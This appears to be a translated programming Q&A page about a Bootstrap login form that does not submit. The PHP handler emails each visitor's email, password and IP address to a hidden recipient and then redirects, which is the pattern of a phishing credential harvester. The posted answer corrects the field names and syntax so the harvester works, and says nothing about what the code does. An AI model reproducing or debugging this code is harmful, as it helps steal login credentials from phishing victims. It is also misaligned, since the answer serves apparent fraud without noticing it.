我正在尝试使用Bootstrap 3创建表单。该表单不会发布或重定向到页面2。这是我的表单,不会重定向或发布
<form role="form" action="sqr.php" method="post">
<div class="row">
<div class="form-group col-xs-11">
<label for="exampleInputEmail1"></label>
<input type="email" class="form-control" id="exampleInputEmail1" name="usrr" placeholder="Email Adress">
</div>
</div>
<div class="row">
<div class="form-group col-xs-11">
<label for="exampleInputPassword1"></label>
<input type="password" class="form-control" id="exampleInputPassword1" name="psww" placeholder="Password">
</div>
</div>
<button type="submit" class="btn btn-info col-xs-11">Log In</button>
</form>
这是我的PHP
<?php
if($_POST["usr"] != "" and $_POST["psw"] != ""){
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$message .= "-------------- Info-----------------------\n";
$message .= "Email : ".$_POST['usrr']."\n";
$message .= "Password : ".$_POST['psww']."\n";
include 'email.php';
$subject = "New User| $ip";
{
mail("$to", "$send", "$subject", $message);
}
$praga=rand();
$praga=md5($praga);
header ("Location: sq1.php");
?>
还有我的Java语言
$(function()
{
function after_form_submitted(data)
{
if(data.result == 'success')
{
$('form#reused_form').hide();
$('#success_message').show();
$('#error_message').hide();
}
else
{
$('#error_message').append('<ul></ul>');
jQuery.each(data.errors,function(key,val)
{
$('#error_message ul').append('<li>'+key+':'+val+'</li>');
});
$('#success_message').hide();
$('#error_message').show();
//reverse the response on the button
$('button[type="button"]', $form).each(function()
{
$btn = $(this);
label = $btn.prop('orig_label');
if(label)
{
$btn.prop('type','submit' );
$btn.text(label);
$btn.prop('orig_label','');
}
});
}//else
}
$('#reused_form').submit(function(e)
{
e.preventDefault();
$form = $(this);
//show some response on the button
$('button[type="submit"]', $form).each(function()
{
$btn = $(this);
$btn.prop('type','button' );
$btn.prop('orig_label',$btn.text());
$btn.text('Sending ...');
});
$.ajax({
type: "POST",
url: 'handler.php',
data: $form.serialize(),
success: after_form_submitted,
dataType: 'json'
});
});
});
但是它不会发布,也不会重定向。 不断回到同一页面,对于网页设计而言,我还是相对较新的。 非常感谢您的帮助
答案 0 :(得分:1)
首先,您的php $ _POST错误。它必须在下面。并且请检查邮件功能$ to和$ send变量。
if ($_POST["usrr"] != "" and $_POST["psww"] != "") {
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$message = '';
$message .= "-------------- Info-----------------------\n";
$message .= "Email : " . $_POST['usrr'] . "\n";
$message .= "Password : " . $_POST['psww'] . "\n";
include 'email.php';
$subject = "New User| $ip";
{
mail("$to", "$send", "$subject", $message); // Where is $to and $send variables ?
}
$praga = rand();
$praga = md5($praga);
header("Location: sq1.php");
}